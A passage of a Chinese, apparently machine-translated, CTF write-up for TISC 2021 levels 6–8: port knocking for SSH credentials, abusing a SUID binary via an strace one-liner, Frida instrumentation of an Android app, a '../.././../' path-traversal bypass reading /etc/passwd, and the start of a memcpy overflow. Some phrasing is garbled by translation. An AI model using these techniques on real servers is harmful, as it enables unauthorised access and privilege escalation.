经过大量的手动复制和粘贴,我发现这些ASCII字符出现在每条指令数据的第三个字节中。基于这种预感,我编写了另一个简短的脚本来提取和解码这些字节。

can_combinations = dict()
can_count = dict()

encoded = ''
with open('candump.log', 'r') as file:
    while line := file.readline():
        can_id = line[26:29]
        can_data = line[30:].strip()
        if can_id == '0C7':
            encoded += can_data[4:6]

print(bytes.fromhex(encoded).decode('utf-8'))

这产生

l1f3_15_wh47_h4pp3n5_wh3n_y0u'r3_bu5y_m4k1n6_07h3r_pl4n5.-j_0_h_n_l_3_n_n_0_n

匹配校验和

d6808584f9f72d12096a9ca865924799
TISC{l1f3_15_wh47_h4pp3n5_wh3n_y0u'r3_bu5y_m4k1n6_07h3r_pl4n5.-j_0_h_n_l_3_n_n_0_n}

第 6 级:敲门声,谁在那里

领域:网络取证、逆向工程

流量捕获表明已找到用于存储 PALINDROME 的 OTP 密码的服务器。破译数据包并找出进入的方法。快速行动,时间至关重要。

transfer.ttyusb.dev/.._capture.pcapng

服务器在 128.199.211.243

注意:挑战实例可能会定期重置,因此请在您的机器上保存您可能需要的任何文件的副本。

我已经完成了一半,但我面临着最令人费解的水平。我下载了巨大的 614 MB PCAP 文件,其中包含各种流量,包括 SSH、SMB、HTTP 等。根据关卡名称和描述中的“时间是关键”,我怀疑挑战涉及端口敲门。我需要在大海捞针中发现端口敲击序列指针,然后使用它访问128.199.211.243. 我对返回零端口的服务器进行了完整的 nmap 扫描——另一个强烈暗示端口扫描是解决方案。

首先,我使用 VirusTotal 和 Suricata 扫描了 PCAP,它们都标记了恶意流量。

08/26/2021-19:47:30.560000  [**] [1:2008705:5] ET NETBIOS Microsoft Windows NETAPI Stack Overflow Inbound - MS08-067 (15) [**] [Classification: Attempted Administrator Privilege Gain] [Priority: 1] {TCP} 192.168.202.68:40111 -> 192.168.23.100:445
08/26/2021-19:47:30.560000  [**] [1:2008715:5] ET NETBIOS Microsoft Windows NETAPI Stack Overflow Inbound - MS08-067 (25) [**] [Classification: Attempted Administrator Privilege Gain] [Priority: 1] {TCP} 192.168.202.68:40111 -> 192.168.23.100:445
08/26/2021-19:47:30.560000  [**] [1:2009247:3] ET SHELLCODE Rothenburg Shellcode [**] [Classification: Executable code was detected] [Priority: 1] {TCP} 192.168.202.68:40111 -> 192.168.23.100:445

起初,我以为我必须提取恶意流量发送的二进制文件并对其进行逆向工程,类似于去年的 Flare-On Challenge 7。这让我陷入了一个深而黑暗的兔子洞,我试图在其中对 Meterpreter 流量和其他有效载荷进行逆向工程。在逆向工程上浪费了很多时间之后,我又回到了敲端口的想法。一篇CTF 博文建议我可以使用 WireShark 过滤器(tcp.flags.reset eq 1) && (tcp.flags.ack eq 1)来检索端口碰撞序列。然而,这种方法失败了,因为在作者的例子中,被敲除的端口用一个RST, ACK数据包响应,而在这个挑战中,被敲除的端口被完全过滤了。

越来越绝望,我注意到一些 HTTP 流量包含对 2012 年美国国家 Cyber​​Watch 中大西洋大学网络防御竞赛 (MACCDC) 的引用。例如,Network Miner 提取了一个名为的文件attackerHome.php,其中包含以下 HTML 代码:

	<select id='eventSelect' name='eventId'>
		<option value=''>Select an Event...</option>
		<option value='1' >Mid-Atlantic CCDC 2011</option>
		<option value='21' >Cyberlympics - Miami</option>
		<option value='30' >Mid-Atlantic CCDC 2012</option>
 	</select>

遵循这条线索,我发现 MACCDC 2012 的流量捕获可以作为 PCAP 文件在线获取。然而,仅在 2012 年,组织者就发布了 16 个不同的 PCAP 文件,每个文件的大小为数百 MB。

没有更好的主意,我下载了每个 MACCDC 2012 PCAP 文件并手动检查每个文件以查找traffic_capture.pcapng. 经过几次痛苦的大下载后,我将范围缩小到maccdc2012_00013.pcap.

接下来,我使用PCAP diffing 脚本来提取traffic_capture.pcapng未出现在maccdc2012_00013.pcap. 解析这两个大文件大约需要半个小时,但我得到了答案:traffic_capture.pcapng192.168.242.111和之间包含额外的 HTTP 流量192.168.24.253

GET /debug.txt HTTP/1.1
User-Agent: Wget/1.20.3 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Host: 192.168.57.130:21212
Connection: Keep-Alive

HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.8.10
Date: Tue, 24 Aug 2021 07:48:38 GMT
Content-type: text/plain
Content-Length: 138
Last-Modified: Tue, 24 Aug 2021 07:43:39 GMT

DEBUG PURPOSES ONLY. CLOSE AFTER USE.
++++++++
5 ports.
++++++++
Account.
++++++++
SSH.
++++++++
End debug. Check and re-enable firewall.

有两件事让我印象深刻。首先,HTTP响应提示端口敲击序列中有5个端口打开SSH端口。其次,主机头192.168.57.130:21212与 HTTP 服务器 IP 不匹配192.168.24.253。也许这是关于端口的暗示?

我尝试了192, 168, 57, 的多种排列130,并21212使用端口敲击脚本无济于事。在陷入这个兔子洞的几个小时之后,我诉诸于编写自己的差异脚本,因为我意识到以前的 PCAP 差异脚本遗漏了一些数据包。

from scapy.all import PcapReader, wrpcap, Packet, NoPayload, TCP


i = 0
with PcapReader('macccdc253.pcap') as maccdc_packets, PcapReader('traffic253.pcap') as traffic_packets:
    for maccdc_packet in maccdc_packets:
        candidate_traffic_packet = traffic_packets.read_packet()
        while maccdc_packet[TCP].payload != candidate_traffic_packet[TCP].payload:
            print("NOMATCH {}".format(i))
            candidate_traffic_packet = traffic_packets.read_packet()
            if TCP not in candidate_traffic_packet:
                print("NOMATCH {}".format(i))
                candidate_traffic_packet = traffic_packets.read_packet()
            i += 1
        i += 1

这个新脚本显示确实有更多独特的数据包。结果证明这些是一系列 TCP SYN 数据包192.168.202.95192.168.24.253然后是 SSH 连接!

2021年信息安全挑战赛完整报道: 3万美元的大逃杀

更好的是,在[PSH, ACK]端口敲击序列之后从服务器发送的数据包包含 SSH 凭据。

2021年信息安全挑战赛完整报道: 3万美元的大逃杀

这是我的票。我重复了端口敲击序列,python .\knock.py <IP ADDRESS> 2928 12852 48293 9930 8283 42069并收到了包含 SSH 凭据的数据包。凭据仅持续几秒钟,并且在每次迭代中都会更改;我可能应该自动进行 SSH 登录,但手动复制和粘贴也可以。

我以低权限challenjour用户身份登录。主文件夹包含一个otpkey可执行文件和secret.txt. secret.txt只能由 读取root,但otpkey设置了 SUID 位以便可以读取secret.txt

otpkey从服务器中提取并在 IDA 中反编译它。我相应地注释了伪代码:

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  int i; // eax
  const char *encrypted_machine_id_hex; // rax
  int can_open_dest_file; // [rsp+18h] [rbp-78h]
  char *dest_file; // [rsp+20h] [rbp-70h]
  char *source_file_bytes; // [rsp+28h] [rbp-68h]
  char *dest_file_bytes; // [rsp+30h] [rbp-60h]
  char *tmp_otk_file; // [rsp+38h] [rbp-58h]
  const char *source_file; // [rsp+40h] [rbp-50h]
  _BYTE *encrypted_machine_id; // [rsp+48h] [rbp-48h]
  char tmp_otk_dir[16]; // [rsp+50h] [rbp-40h] BYREF
  __int64 v14; // [rsp+60h] [rbp-30h]
  __int64 v15; // [rsp+68h] [rbp-28h]
  __int64 v16; // [rsp+70h] [rbp-20h]
  __int16 v17; // [rsp+78h] [rbp-18h]
  unsigned __int64 v18; // [rsp+88h] [rbp-8h]

  v18 = __readfsqword(0x28u);
  can_open_dest_file = 0;
  dest_file = 0LL;
  source_file_bytes = 0LL;
  dest_file_bytes = 0LL;
  tmp_otk_file = 0LL;
  strcpy(tmp_otk_dir, "/tmp/otk/");
  v14 = 0LL;
  v15 = 0LL;
  v16 = 0LL;
  v17 = 0;
  for ( i = getopt(a1, a2, "hm"); ; i = getopt(a1, a2, "hm") )
  {
    if ( i == -1 )
    {
      if ( a1 == 4 )
        return 0LL;
    }
    else
    {
      if ( i != 109 )                           // 'm' so opt is h instead
      {
        printf("Usage: %s [OPTIONS]\n", *a2);
        puts("Print some text :)n");
        puts("Options");
        puts("=======");
        puts("[-m] curr_location new_location \tMove a file from curr location to new location\n");
        exit(0);
      }
      if ( a1 != 4 )
      {
        puts("[-m] curr_location new_location \tMove file from curr location to new location");
        exit(0);
      }
      source_file = a2[2];
      dest_file = a2[3];
      printf("Requested to move %s to %s.\n", source_file, dest_file);
      if ( (unsigned int)is_alpha(source_file) && (unsigned int)is_alpha(dest_file) )
      {
        if ( (unsigned int)check_needle(source_file) )// check if source file has 'secret.t'
          can_open_dest_file = can_open(dest_file);
        if ( can_open_dest_file )
        {
          source_file_bytes = (char *)read_bytes(source_file);
          dest_file_bytes = (char *)read_bytes(dest_file);
          if ( source_file_bytes && dest_file_bytes )
            write_bytes_to_file(dest_file, source_file_bytes);
        }
        else
        {
          source_file_bytes = (char *)read_bytes(source_file);
          if ( source_file_bytes )
          {
            write_bytes_to_file(dest_file, source_file_bytes);
            chmod(dest_file, 0x180u);
          }
        }
      }
    }
    encrypted_machine_id = encrypt_machine_id();
    if ( encrypted_machine_id )
    {
      encrypted_machine_id_hex = (const char *)bytes_to_hex(encrypted_machine_id);
      strncat(tmp_otk_dir, encrypted_machine_id_hex, 0x20uLL);// appends encrypted machine id to /tmp/otk/
      tmp_otk_file = (char *)read_bytes(tmp_otk_dir);
      if ( tmp_otk_file )
        printf("%s", tmp_otk_file);
    }
    else
    {
      puts("An error occurred.");
    }
    free_wrapper(encrypted_machine_id);
    free_wrapper(tmp_otk_file);
    if ( !can_open_dest_file )
      break;
    write_bytes_to_file(dest_file, dest_file_bytes);// restores dest file...
    free_wrapper(source_file_bytes);
    free_wrapper(dest_file_bytes);
    dest_file = 0LL;
  }
  return 0LL;
}

otpkey将文件从 移动arg1arg2. 如果arg1secret.txt,程序secret.txt会将的内容写入目标文件,但在退出之前它还会恢复目标文件的原始内容,从而阻止我读取flag。从开始的部分encrypted_machine_id = encrypt_machine_id();看起来更有趣。它试图读取/tmp/otk/<encrypt_machine_id()>和打印文件的内容。由于这发生在它恢复目标文件之前,理论上我可以写入secret.txtOTK 文件并打印其内容以获取flag!

encrypt_machine_id生成了什么字符串?

_BYTE *encrypt_machine_id()
{
  size_t v0; // rax
  size_t ciphertext_len; // rax
  int i; // [rsp+0h] [rbp-80h]
  void *machine_id; // [rsp+8h] [rbp-78h]
  time_t current_time_reduced; // [rsp+10h] [rbp-70h]
  char *_etc_machine_id; // [rsp+18h] [rbp-68h]
  _BYTE *machine_id_unhexed; // [rsp+20h] [rbp-60h]
  _BYTE *encrypted_machine_id; // [rsp+28h] [rbp-58h]
  char *ciphertext; // [rsp+38h] [rbp-48h]
  char plaintext[8]; // [rsp+46h] [rbp-3Ah] BYREF
  __int16 v11; // [rsp+4Eh] [rbp-32h]
  __int64 v12[2]; // [rsp+50h] [rbp-30h] BYREF
  __int64 md5_hash[4]; // [rsp+60h] [rbp-20h] BYREF

  md5_hash[3] = __readfsqword(0x28u);
  *(_QWORD *)plaintext = 0LL;
  v11 = 0;
  v12[0] = 0x13111D5F1304155FLL;
  v12[1] = 0x14195D151E1918LL;
  encrypted_machine_id = calloc(0x10uLL, 1uLL);
  md5_hash[0] = 0LL;
  md5_hash[1] = 0LL;
  current_time_reduced = time(0LL) / 10;
  snprintf(plaintext, 0xAuLL, "%ld", current_time_reduced);
  v0 = strlen(plaintext);
  ciphertext = (char *)calloc(4 * v0, 1uLL);
  RC4("O).2@g", plaintext, ciphertext);
  strlen(plaintext);
  ciphertext_len = strlen(ciphertext);
  MD5(ciphertext, ciphertext_len, md5_hash);
  free_wrapper(ciphertext);
  _etc_machine_id = xor_0x70((const char *)v12);// xor_0x70
  machine_id = read_bytes(_etc_machine_id);     // fb60706a312b4ddab835445d28153227
  free_wrapper(_etc_machine_id);
  if ( !machine_id )
    return 0LL;
  machine_id_unhexed = (_BYTE *)read_hex_string(machine_id);
  if ( !machine_id_unhexed || !encrypted_machine_id )
    return 0LL;
  for ( i = 0; i <= 15; ++i )
    encrypted_machine_id[i] = machine_id_unhexed[i] ^ *((_BYTE *)md5_hash + i);// xor with each byte of weak md5_hash
  free_wrapper(machine_id_unhexed);
  return encrypted_machine_id;
}

通过遵循伪代码,我推断该函数使用XOR(MD5(RC4(str(time(0LL) / 10, "O).2@g")), machine-id). 由于它除以time(0)10,因此每个一次性键持续十秒钟。

起初,我尝试自己生成一次性密钥,但输出与/tmp/otk. 在多次尝试失败后,我意识到我可以简单地使用strace动态读取otpkey的系统调用。当otpkey尝试读取/tmp/otk/<encrypt_machine_id()>strace迷上了read系统调用并打印其文件路径参数。

由于服务器已经安装了strace,我制作的一击的一行做到这一点:dest=$(strace ./otpkey -m secret.txt /tmp/ptl 2>&1 | grep /tmp/otk | cut -c 19-59);./otpkey -m secret.txt $dest。有了这个,我解决了这个挑战。

TISC{v3RY|53CrE+f|@G}

第 7 级:秘密

领域:隐写术、Android 安全、密码学

我们的调查人员已经恢复了这封由暴露的 PALINDROME 黑客(别名:Natasha)发送的电子邮件。她和 PALINDROME 之间看起来像是某种形式的秘密交流。

迅速破译他们之间的通信渠道以揭开隐藏的信息,以免为时已晚。

以以下格式提交您的flag:TISC{flag found}。

再见吧.eml

Bye for now.eml 包含以下案文:


GIB,



I=E2=80=99ll be away for a while. Don=E2=80=99t miss me. You have my pictur=
e :D

Hope the distance between us could help me see life from a different
perspective. Sometimes, you will find the most valuable things hidden in
the least significant places.





Natasha

我的十六进制编辑器显示了一个大的 base64 字符串作为 HTML 注释附加。对字符串进行解码生成了复仇者联盟中 Natasha Romanoff 的 PNG 图像文件。根据电子邮件中“最不重要的地方”的提示,我怀疑图像使用了最不重要的字节隐写术嵌入了数据。我确认了这一点,stegsolve因为平面 0 过滤器在图像顶部显示了告示“静态”。

2021年信息安全挑战赛完整报道: 3万美元的大逃杀

我使用了stegonline工具来检索形成字符串的字节。

https://transfer.ttyusb.dev/8S8P76hlG6yEig2ywKOiC6QMak4iGaKc/data.zip

该链接下载了一个包含app.apk文件的受密码保护的 ZIP文件。ZIP 文件在底部包含一个额外的注释:LOBOBMEM MULEBES ULUD RIKIF GNIKCARC EROFEB NIAGA KNIHT. 我反转了字符串并得到THINK AGAIN BEFORE CRACKING FIKIR DULU SEBELUM MEMBOBOL.

尽管有这么好的建议,我还是以一种可以预见的方式回应:

2021年信息安全挑战赛完整报道: 3万美元的大逃杀

在浪费了几个小时试图猜测和破解密码之后,我发现了一个有用的CTF 指南,该指南表明可以通过设置加密flag而不实际加密数据来伪加密 ZIP。我在十六进制编辑器中修改了相应的字节,瞧,我在没有密码的情况下打开了 ZIP!

我在我的测试 Android 手机上安装了 APK 并打开了它。

2021年信息安全挑战赛完整报道: 3万美元的大逃杀

点击“I’M IN POSITION”导致应用程序关闭,因为时间、纬度、经度和数据无效。

我反编译了 APKjadx并注意到该MainActivity函数初始化了Myth类,然后执行System.loadLibrary("native-lib"). 这对应libnative-lib.so于APK的lib文件夹,所以我反编译了它IDA。该库导出了两个有趣的函数:Java_mobi_thesecret_Myth_getTruthJava_mobi_thesecret_Myth_getNextPlace.

Java_mobi_thesecret_Myth_getTruth_mm_shuffle_epi32

在返回一些我怀疑是flag的明文之前执行了大量的解密例程。它还验证了第二个参数匹配GIB's phone

v7 = (const char *)(*(int (__cdecl **)(int *, int, char *))(*a4 + 676))(a4, a7, &v74);
v8 = strcmp(v7, "GIB's phone") == 0;

同时,Java_mobi_thesecret_Myth_getNextPlace检查纬度和经度值:

if ( *(double *)&a5 > 103.7899 || *(double *)&a4 < 1.285 || *(double *)&a4 > 1.299 || *(double *)&a5 < 103.78 )
{
v10 = (*(int (__cdecl **)(int, const char *))(*(_DWORD *)a1 + 668))(a1, "Error: Not near. Try again.");
}

它还将第二个参数与匹配的时间值进行了比较:

    if ( v7 == 22 && v8 > 30 || v7 == 23 && v8 < 15 )
    {
      std::string::append((int)v20, (int)&all, 71, 1u);
      std::string::append((int)v20, (int)&all, 83, 1u);
      std::string::append((int)v20, (int)&all, 83, 1u);
      std::string::append((int)v20, (int)&all, 79, 1u);
      std::string::append((int)v20, (int)&all, 82, 1u);
      std::string::append((int)v20, (int)&all, 25, 1u);
      std::string::append((int)v20, (int)&all, 14, 1u);
      std::string::append((int)v20, (int)&all, 14, 1u);
      std::string::append((int)v20, (int)&all, 83, 1u);
      std::string::append((int)v20, (int)&all, 13, 1u);
      std::string::append((int)v20, (int)&all, 76, 1u);
      std::string::append((int)v20, (int)&all, 68, 1u);
      std::string::append((int)v20, (int)&all, 14, 1u);
      std::string::append((int)v20, (int)&all, 47, 1u);
      std::string::append((int)v20, (int)&all, 32, 1u);
      std::string::append((int)v20, (int)&all, 43, 1u);
      std::string::append((int)v20, (int)&all, 40, 1u);
      std::string::append((int)v20, (int)&all, 45, 1u);
      std::string::append((int)v20, (int)&all, 35, 1u);
      std::string::append((int)v20, (int)&all, 49, 1u);
      std::string::append((int)v20, (int)&all, 46, 1u);
      std::string::append((int)v20, (int)&all, 44, 1u);
      std::string::append((int)v20, (int)&all, 36, 1u);
      std::string::append((int)v20, (int)&all, 50, 1u);
      std::string::append((int)v20, (int)&all, 83, 1u);
      std::string::append((int)v20, (int)&all, 64, 1u);
      std::string::append((int)v20, (int)&all, 75, 1u);
      std::string::append((int)v20, (int)&all, 74, 1u);
      std::string::append((int)v20, (int)&all, 68, 1u);
      std::string::append((int)v20, (int)&all, 81, 1u);
      if ( (v20[0] & 1) != 0 )
        v9 = (char *)v21;
      else
        v9 = (char *)v20 + 1;
      v11 = (*(int (__cdecl **)(int, char *))(*(_DWORD *)a1 + 668))(a1, v9);
    }
    else
    {
      v11 = (*(int (__cdecl **)(int, const char *))(*(_DWORD *)a1 + 668))(a1, "Error: Wrong time. Try again.");
    }

接下来,我通过反编译Java代码grepped,发现getTruthgetNextPlace被称为f/a/b.java

    q.a(new g(0, "http://worldtimeapi.org/api/timezone/Etc/UTC", null, new c(mainActivity, textView), new f(textView)));
    String str2 = mainActivity.u;
    boolean z = true;
    if (!(str2 == null || str2.length() == 0)) {
        String nextPlace = mainActivity.y.getNextPlace(mainActivity.u, mainActivity.s, mainActivity.t);
        mainActivity.v = nextPlace;
        if (nextPlace == null || nextPlace.length() == 0) {
            mainActivity.x();
        } else {
            if (c.b.a.b.a.H(mainActivity.v, "Error", false, 2)) {
                mainActivity.x();
                context = mainActivity.getApplicationContext();
                str = mainActivity.v;
            } else {
                p q2 = f.q(mainActivity);
                View findViewById4 = mainActivity.findViewById(R.id.data_text);
                c.c(findViewById4, "findViewById(R.id.data_text)");
                TextView textView2 = (TextView) findViewById4;
                q2.a(new k(0, mainActivity.v, new g(mainActivity, textView2), new e(textView2)));
                String str3 = mainActivity.w;
                if (!(str3 == null || str3.length() == 0) || mainActivity.x != 0) {
                    int i2 = mainActivity.x;
                    if (i2 == 1) {
                        View findViewById5 = mainActivity.findViewById(R.id.flag_value);
                        c.c(findViewById5, "findViewById(R.id.flag_value)");
                        TextView textView3 = (TextView) findViewById5;
                        String string = Settings.Global.getString(mainActivity.getContentResolver(), "device_name");
                        if (!(string == null || string.length() == 0)) {
                            z = false;
                        }
                        if (z) {
                            string = Settings.Global.getString(mainActivity.getContentResolver(), "bluetooth_name");
                        }
                        Myth myth = mainActivity.y;
                        String str4 = mainActivity.w;
                        c.c(string, "user");
                        String truth = myth.getTruth(str4, string);
                        if (c.b.a.b.a.H(truth, "Error", false, 2)) {
                            Toast.makeText(mainActivity.getApplicationContext(), truth, 0).show();
                            return;
                        } else {
                            textView3.setText(truth);
                            return;
                        }

通过使用jadxGUI 的“Find Usage”选项追溯变量,我重建了应用程序的流程。mainActivity.y.getNextPlace

http://worldtimeapi.org/api/timezone/Etc/UTC

(解析为 HH:MM)获取当前时间戳以及纬度和经度,返回一个链接。之后,应用程序调用myth.getTruthwithstr4和当前用户名作为参数。由于IDA反编译已经揭示了user value需要是GIB's phone,我只需要找出str4.

经反编译的Java代码显示,String str4 = mainActivity.w;mainActivity.w在设置f/a/g.javaa功能:

    public final void a(Object obj) {
        MainActivity mainActivity = this.a;
        TextView textView = this.f2157b;
        String str = (String) obj;
        int i = MainActivity.q;
        c.d(mainActivity, "this$0");
        c.d(textView, "$dataTextView");
        try {
            c.c(str, "response");
            int e2 = e.e(str, "tgme_page_description", 0, true, 2);
            String str2 = (String) e.g(str.subSequence(e2, e.b(str, "</div>", e2, true)), new String[]{">"}, false, 0, 6).get(1);
            mainActivity.w = str2;
            textView.setText(str2);
            mainActivity.x = 1;
        } catch (Exception unused) {
            mainActivity.x = -1;
        }
    }

我查了一下tgme_page_description,了解到这是 Telegram 群组页面中描述文本的 HTML 类。

我继续使用 Frida 进行动态检测,并编写了一个快速脚本,getNextPlace以使用正确的参数直接在应用程序中触发。

function exploit() {
    // Check if frida has located the JNI
    if (Java.available) {
        // Switch to the Java context
        Java.perform(function() {
            const Myth = Java.use('mobi.thesecret.Myth');
            var myth = Myth.$new();
            var string_class = Java.use("java.lang.String");

            var out = string_class.$new("");
            var timestamp = string_class.$new("22:31");

            out = myth.getNextPlace(timestamp, 1.286, 103.785);
            console.log(out)
        }
    )}
}

我通过我连接的计算机执行了这个脚本frida -U 'The Secret' -l exploit.js。令我惊喜的是,getNextPlace返回了一个 Telegram 链接:https : //t.me/PALINDROMEStalker。描述框显示了我正在寻找的字符串:ESZHUUSHCAJGKOBPHFAMVYUIFHFYFTVQKGFGZPNUBV

2021年信息安全挑战赛完整报道: 3万美元的大逃杀

现在我所要做的就是提供getTruth正确的论点。

function exploit() {

    // Check if frida has located the JNI
    if (Java.available) {
        // Switch to the Java context
        Java.perform(function() {
            const Myth = Java.use('mobi.thesecret.Myth');
            var myth = Myth.$new();
            var string_class = Java.use("java.lang.String");

            var out = string_class.$new("");
            var timestamp = string_class.$new("22:31");

            var tele_description = string_class.$new("ESZHUUSHCAJGKOBPHFAMVYUIFHFYFTVQKGFGZPNUBV");

            var user = string_class.$new("GIB's phone");

            out = myth.getNextPlace(timestamp, 1.286, 103.785);
            console.log(out)

            out = myth.getTruth(tele_description, user);
            console.log(out)
        }
    )}
}

脚本打印了flag并完成了这个挑战。

TISC{YELENAFOUNDAWAYINSHEISOUREYESANDEARSWITHIN}

第 8 级:变得敏捷

领域:Web、逆向工程、Pwn

我们已经设法追踪到 PALINDROME 的一项招聘活动!

我们的情报表明他们已经污损了我们的网站并插入了他们自己的招聘测试。

通过他们的测试,让我们更深入地了解他们的组织!

我们指望你!

以下链接互为镜像,flag相同:

http://tisc21c-v3clxv6ecfdrvyrzn5m..wcpv.ctf.sg:42651

http://tisc21c-8pz0kdhumzaj1lthra..7righ8y.ctf.sg:42651

http://tisc21c-wwhvyoobqg08oe..bx0xd.ctf.sg:42651

注意:挑战不涉及在所提供的网站中可能找不到或可能找不到的外部链接。

我终于到达了精英三。从这点开始,难度大大增加,并且花费了大量的精力来破解。当我看到Level 8是Pwn挑战时,我内心在呻吟:虽然我了解Windows二进制开发的基础知识,但我对Linux开发缺乏信心,之前从未完成过Pwn CTF挑战。尽管如此,这是唯一阻碍第一个 10,000 美元的东西。

我打开了被黑网站的链接。

2021年信息安全挑战赛完整报道: 3万美元的大逃杀

我检查了 HTML 源代码并注意到一个注释掉的Find out more about the PALINDROME链接。重定向到的链接

/hint/?hash=aaf4c61ddcc5e8a2dabede0f3b482cd9aea9434d

包含一张图片。

2021年信息安全挑战赛完整报道: 3万美元的大逃杀

我还发现了什么其他提示哈希…?我开始对哈希查询参数进行模糊测试,并注意到

hash=./aaf4c61ddcc5e8a2dabede0f3b482cd9aea9434d

返回了相同的图片。这表明存在文件遍历漏洞。然而,试图直奔../../../../etc/passwd失败。我通过一次向后遍历一个目录来逐步工作,发现该应用程序将三个连续遍历 ( ../../../)列入黑名单。为了绕过这个,我只是使用../.././../which 成功地允许我访问服务器上的任何文件!该页面将文件数据作为 base64 编码的图像源返回。

<!DOCTYPE html>
<html lang="en">
<head>
<title>lol</title>
</head>
<body>

<img src='data:image/png;base64,<BASE64 ENCODED FILE DATA>'>

不幸的是,我没有在/etc/passwd或 中找到任何有趣的信息/etc/hosts。最终,我决定检查网站页面的源代码,结果发现是 PHP。我用以下方法打金/var//www/html/hint/index.php

<!DOCTYPE html>
<html lang="en">
<head>
<title>lol</title>
</head>
<body>

<?php
    if($_GET["hash"]){
        echo "<img src='data:image/png;base64,".base64_encode(file_get_contents($_GET["hash"]))."'>";
        die();
    }else{
        header("Location: /hint?hash=aaf4c61ddcc5e8a2dabede0f3b482cd9aea9434d");
        die();
    }

    // to the furure me: this is the old directory listing
    // 
    // hint:
    // total 512
    // drwxrwxr-x 2 user user   4096 Jun 16 21:52 ./
    // drwxr-xr-x 5 user user   4096 Jun 16 21:11 ../
    // -rw-rw-r-- 1 user user     18 Jun 16 22:12 68a64066b1f37468f5191d627473891ac0ef9243
    // -rw-rw-r-- 1 user user 489519 Jun 16 15:47 aaf4c61ddcc5e8a2dabede0f3b482cd9aea9434d
    // -rw-rw-r-- 1 user user  15710 Jun 16 21:52 b5dbffb4375997bfcba86c4cd67d74c7aef2b14e
    // -rw-r--r-- 1 user user    551 Jun 16 21:30 index.php
?>

</body>
</html>

在目录列表之后,我访问了两个新文件。

68a64066b1f37468f5191d627473891ac0ef9243是一个文本文件,上面写着i am also on 53619.

b5dbffb4375997bfcba86c4cd67d74c7aef2b14e 包含另一个目录列表。

bin:
total 28
-rwsrwxr-x 1 root root 22752 Aug 19 15:59 1adb53a4b156cef3bf91c933d2255ef30720c34f

我继续泄漏

/var/www/html/bin/1adb53a4b156cef3bf91c933d2255ef30720c34f

结果证明是 ELF 可执行文件。

2021年信息安全挑战赛完整报道: 3万美元的大逃杀

如之前的文本文件中所述,此二进制文件在服务器的端口 53619 上运行。我在当地执行了它,并受到了一个巨大的外星人头颅的欢迎。

        ___          
    . -^   `--,      
   /# =========`-_   
  /# (--====___====\ 
 /#   .- --.  . --.| 
/##   |  * ) (   * ),
|##   \    /\ \   / |
|###   ---   \ ---  |
|####      ___)    #|
|######           ##|
 \##### ---------- / 
  \####           (  
   `\###          |  
     \###         |  
      \##        |   
       \###.    .)   
        `======/     
SHOW ME WHAT YOU GOT!!!


////////////// MENU //////////////
//  0. Help                     //
//  1. Do Sanity Test           //
//  2. Get Recruited            //
//  3. Exit Program             //
//////////////////////////////////

“做健全性测试”选项提示我输入。

To pass the sanity test, you just need to give a sane answer to show that you are not insane!
Your answer: 

输入一些随机文本后,我尝试了“招募”选项。但是,应用程序打印了错误消息You must be insane! Complete the Sanity Test to prove your sanity first!

为了弄清楚发生了什么,我在 IDA 中反编译了应用程序,并注释了“Do Sanity Test”选项的伪代码。

__int64 sanity_test()
{
  void *v0; // rsp
  void *v1; // rsp
  void *v2; // rsp
  int v4; // [rsp+14h] [rbp-24h] BYREF
  void *s; // [rsp+18h] [rbp-20h]
  void *src; // [rsp+20h] [rbp-18h]
  void *dest; // [rsp+28h] [rbp-10h]
  unsigned __int64 v8; // [rsp+30h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  ++dword_5580E5357280;
  v4 = 32;
  v0 = alloca(48LL);
  s = (void *)(16 * (((unsigned __int64)&v4 + 3) >> 4));
  v1 = alloca(48LL);
  src = s;
  v2 = alloca(48LL);
  dest = s;
  memset(s, 0, v4);
  memset(src, 0, v4);
  memset(dest, 0, v4);
  std::operator>><char,std::char_traits<char>>(&std::cin, src);
  memcpy(dest, src, v4);
  memcpy(s, dest, v4 / 2);
  sanity_test_input = malloc(v4 - 1);
  memcpy(sanity_test_input, s, v4 - 1);
  sanity_test_result = *((_BYTE *)s + v4 - 1);
  return 0LL;
}

在一系列三个可疑的memcpys 之后,函数设置sanity_test_result为输入的第 32 个字节。接下来,“Get Recruited”函数检查是否sanity_test_result && !(unsigned int8)shl_sanity_test_result_7()。换句话说,为了通过健全性测试,我必须输入这样的输入sanity_test_result != 0(unsigned __int8)(sanity_test_result << 7) = 0。我可以用偶数很容易地通过此检查,例如0x40@在 ASCII 中)。现在,“Get Recruited”选项不再显示错误消息,而是提示我进行一组不同的输入。

To get recruited, you need to provide the correct passphrase for the Cromulon.
Passphrase: AAA
Your passphrase appears to be incorrect.
You are allowed a few tries to modify your passphrase.
Use the following functions to provide the correct answer to get recruited.
1. Append String
2. Replace Appended String
3. Modify Appended String
4. Show what you have for the Cromulon currently
5. Submit
6. Back

对于某种释放后使用漏洞,各种选项看起来已经成熟……除了没有太多free的事情发生。二进制文件使用链表处理附加的字符串,我在内存管理中找不到任何问题。我还怀疑它存在格式字符串错误,因为输入%x%x%x密码会导致“显示当前用于 Cromulon 的内容”选项打印e8e8e8e8。然而,经过进一步的逆向工程,我意识到我误解了奇怪输出的来源。事实证明,在追加、替换或修改字符串时,用户的输入将与来自健全性测试的输入进行异或,然后再存储到链表中。例如,因为我进入了一个系列的@S为完整性测试,@@ XOR %x == e8

char __fastcall xor_passphrase_with_sanity_input(_BYTE *passphrase_data)
{
  char result; // al
  _BYTE *v2; // rax
  _BYTE *passphrase_data_2; // [rsp+0h] [rbp-18h]
  _BYTE *v4; // [rsp+10h] [rbp-8h]

  passphrase_data_2 = passphrase_data;
  v4 = sanity_test_input;
  result = *passphrase_data;
  if ( *passphrase_data )
  {
    result = *(_BYTE *)sanity_test_input;
    if ( *(_BYTE *)sanity_test_input )
    {
      do
      {
        if ( !*v4 )
          v4 = sanity_test_input;
        v2 = v4++;
        *passphrase_data_2++ ^= *v2;
        result = *passphrase_data_2 != 0;
      }
      while ( *passphrase_data_2 );
    }
  }
  return result;
}

这种行为类似于信息泄漏,因此实际漏洞可能发生在健全性测试中。还记得可疑的memcpys系列吗?

gdbpwndbg扩展启动了应用程序,并输入了一长串As 进行健全性测试。我遇到了崩溃并将其追溯到第一个memcpy. 的参数memcpy被我的输入覆盖:

dest: 0x4141414141414141 ('AAAAAAAA')
src: 0x4141414141414141 ('AAAAAAAA')
n: 0x41414141 ('AAAA')

